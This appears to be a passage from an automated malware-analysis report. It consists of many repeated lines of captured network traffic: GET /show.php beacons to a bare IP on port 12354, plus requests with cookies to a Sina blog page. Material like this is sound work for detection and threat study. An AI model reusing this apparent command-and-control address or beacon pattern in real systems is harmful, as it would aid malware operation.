Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
